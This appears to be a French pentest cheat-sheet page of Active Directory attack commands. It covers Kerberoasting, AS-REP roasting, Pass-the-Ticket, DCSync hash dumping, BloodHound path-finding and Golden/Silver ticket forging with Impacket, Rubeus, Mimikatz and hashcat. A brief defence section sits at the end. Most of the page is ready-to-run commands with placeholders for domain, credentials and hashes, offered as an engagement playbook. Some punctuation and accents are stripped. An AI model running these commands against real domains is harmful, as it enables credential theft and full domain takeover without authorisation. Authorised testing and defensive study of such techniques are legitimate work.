MDstable
NoteSnippetChecklistPlaybook

Active Directory — Kerberoasting, AS-REP Roasting, DCSync, BloodHound

Attaques AD avancées : Kerberoasting, AS-REP Roasting, DCSync (Impacket), BloodHound — chemins d'élévation vers Domain Admin

snippetadvanced 2026-05-14 5 min read
active-directorykerberoastingasrep-roastingdcsyncbloodhoundkerberosimpacketpentest

Contexte

Kerberoasting Vol de tickets TGS pour des comptes avec SPN crack offline
AS-REP Roasting Comptes sans pr-auth Kerberos hash KRB5 AS-REP crack offline
DCSync Simuler un DC pour demander les hashes NTLM de tous les comptes
BloodHound Cartographier les chemins dattaque vers Domain Admin

Kerberoasting

Principe
1 Nimporte quel utilisateur authentifi peut demander un ticket TGS pour un SPN
2 Le ticket est chiffr avec le hash NT du compte de service SPN
3 Exporter le ticket crack offline mot de passe du compte de service
Pas besoin de droits levs pour demander le ticket
bash
Variables
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{DC_IP}}
# Lister les SPNs (comptes kerberoastables)
# Depuis Linux (Impacket)
GetUserSPNspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{DC_IP}} -request
# Avec sortie directe pour hashcat
GetUserSPNspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{DC_IP}} -request -outputfile kerberoast_hashestxt
# Depuis Windows (Rubeus)
Rubeusexe kerberoast /outfilekerberoasttxt
Rubeusexe kerberoast /ldapfilter'admincount=1' /outfilekerberoast_adminstxt # comptes admin seulement
powershell
Variables
{{SPN}}
# PowerShell natif — demander un ticket TGS
Add-Type -AssemblyName System.IdentityModel
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList "{{SPN}}"
[System.Convert]::ToBase64String($ticket.GetRequest())
# PowerView — lister les SPNs
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
bash
# Cracker les tickets TGS
hashcat -m 13100 kerberoast_hashestxt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashestxt --format=krb5tgs

AS-REP Roasting

Principe
Certains comptes ont "Do not require Kerberos preauthentication" activ
KDC rpond avec un AS-REP chiffr avec le hash de lutilisateur
Aucune authentification pralable ncessaire crack offline
bash
Variables
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{DC_IP}}
# Identifier les comptes vulnérables (nécessite un compte valide)
GetNPUserspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{DC_IP}} -request
# Sans compte valide (si on a une liste d'utilisateurs)
GetNPUserspy {{DOMAIN}} -usersfile userstxt -dc-ip {{DC_IP}} -no-pass -request
# Rubeus (depuis Windows)
Rubeusexe asreproast /outfileasrep_hashestxt
bash
# Cracker les hash AS-REP
hashcat -m 18200 asrep_hashestxt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashestxt --format=krb5asrep

Pass-the-Ticket (PTT)

bash
Variables
{{DOMAIN}}
{{USER}}
{{DC_HOSTNAME}}
# Importer un ticket Kerberos (fichier .ccache ou .kirbi)
# Depuis Mimikatz — exporter les tickets
mimikatz# sekurlsa::tickets /export # exporte les tickets en .kirbi
# Convertir et utiliser avec Impacket
ticketConverterpy ticketkirbi ticketccache
export KRB5CCNAME/tmp/ticket.ccache
secretsdumppy -k -no-pass {{DOMAIN}}{{USER}}{{DC_HOSTNAME}}
# Rubeus — importer un ticket en mémoire
Rubeusexe ptt /ticketbase64_ticket_here
Rubeusexe ptt /ticketticketkirbi
# Vérifier le ticket en mémoire
Rubeusexe klist

DCSync — Dump de tous les hashes NTLM

Prrequis
Droits "Replicating Directory Changes" et "Replicating Directory Changes All"
Accords par dfaut Domain Admins Enterprise Admins Domain Controllers
Accessibles via dlgation comptes compromis avec ces droits
bash
Variables
{{DOMAIN}}
{{DA_USER}}
{{DA_PASSWORD}}
{{DC_IP}}
{{NTLM_HASH}}
# Impacket — DCSync depuis Linux
secretsdumppy {{DOMAIN}}{{DA_USER}}{{DA_PASSWORD}}{{DC_IP}}
secretsdumppy {{DOMAIN}}{{DA_USER}}{{DA_PASSWORD}}{{DC_IP}} -just-dc-user Administrator
secretsdumppy {{DOMAIN}}{{DA_USER}}{{DA_PASSWORD}}{{DC_IP}} -just-dc-ntlm
# Pass-the-Hash pour DCSync
secretsdumppy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{DC_IP}}
powershell
Variables
{{DOMAIN}}
# Mimikatz — DCSync depuis Windows
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /user:Administrator
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /all /csv

BloodHound — Cartographie AD

bash
Variables
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
{{DC_IP}}
# Collecte depuis Linux (SharpHound Python)
pip3 install bloodhound
bloodhound-python -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}}
-ns {{DC_IP}} -c All --zip
# Collecte depuis Windows (SharpHound .exe)
SharpHoundexe -c All --zipfilename bloodhound_datazip
SharpHoundexe -c AllGPOLocalGroup --stealth
# Lancer BloodHound + Neo4j
neo4j start
bloodhound &
# Importer le ZIP → Upload Data
Variables
{{COMPROMISED_PC}}
{{DOMAIN}}
Requtes BloodHound essentielles Cypher
Trouver les chemins vers Domain Admins
Pre-built Queries "Find Shortest Paths to Domain Admins"
Kerberoastable users avec chemins DA
MATCH uUser hasspntrue RETURN u
AS-REP Roastable
MATCH uUser dontreqpreauthtrue RETURN u
Comptes avec DCSync rights
MATCH nrGetChanges|GetChangesAll>dDomain RETURN n
Chemins depuis un compte compromis
MATCH cComputer name"{{COMPROMISED_PC}}"nGroup name"DOMAIN ADMINS@{{DOMAIN}}"
pshortestPathc1>n RETURN p

Golden Ticket & Silver Ticket

bash
Variables
{{DOMAIN}}
{{PASSWORD}}
{{DC_IP}}
{{DOMAIN_SID}}
{{KRBTGT_NTLM_HASH}}
{{SERVICE_HOST}}
{{SERVICE_NTLM_HASH}}
# Golden Ticket — nécessite le hash NTLM du compte KRBTGT
# Récupérer krbtgt hash via DCSync
secretsdumppy {{DOMAIN}}/Administrator{{PASSWORD}}{{DC_IP}} -just-dc-user krbtgt
# Générer le Golden Ticket (Mimikatz)
mimikatz# kerberos::golden /user:Administrator /domain:{{DOMAIN}} \
/sid{{DOMAIN_SID}} /krbtgt{{KRBTGT_NTLM_HASH}} /ptt
# → Ticket valide 10 ans, impersonne n'importe quel compte
# Silver Ticket — hash du compte de service (ciblé)
mimikatz# kerberos::golden /user:Administrator /domain:{{DOMAIN}} \
/sid{{DOMAIN_SID}} /target{{SERVICE_HOST}}
/servicecifs /rc4{{SERVICE_NTLM_HASH}} /ptt

Défense

powershell
Variables
{{DOMAIN}}
{{SERVICE_HOSTS}}
# Kerberoasting — comptes de service avec mots de passe robustes
# Utiliser GMSA (Group Managed Service Accounts) — rotation automatique
New-ADServiceAccount -Name "MySvc" -DNSHostName "{{DOMAIN}}" `
-PrincipalsAllowedToRetrieveManagedPassword "{{SERVICE_HOSTS}}"
# AS-REP Roasting — désactiver "Do not require Kerberos preauthentication"
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Set-ADAccountControl -DoesNotRequirePreAuth $false
# DCSync — audit des droits de réplication
Get-ADObject -Filter {ObjectClass -eq 'domainDNS'} -Properties nTSecurityDescriptor |
Select-Object -ExpandProperty nTSecurityDescriptor |
Select-Object -ExpandProperty Access |
Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight"}
⚠ Attention —

Le compte KRBTGT ne change jamais son mot de passe automatiquement. Un Golden Ticket forgé avec l'ancien hash reste valide jusqu'au changement du mot de passe KRBTGT (deux fois pour invalider les tickets existants). En cas de compromission d'un DC, changer le mot de passe KRBTGT deux fois est impératif.

💡 Tip —

BloodHound révèle systématiquement des chemins inattendus vers Domain Admin via des comptes de service ou des droits délégués oubliés. Dans 80% des environnements AD audités, un utilisateur non privilégié peut devenir DA en 3-4 sauts maximum. Lancer BloodHound au début d'un engagement interne avant toute tentative de bruteforce.

OPS·BRAIN v1.075 notes · Securitylocal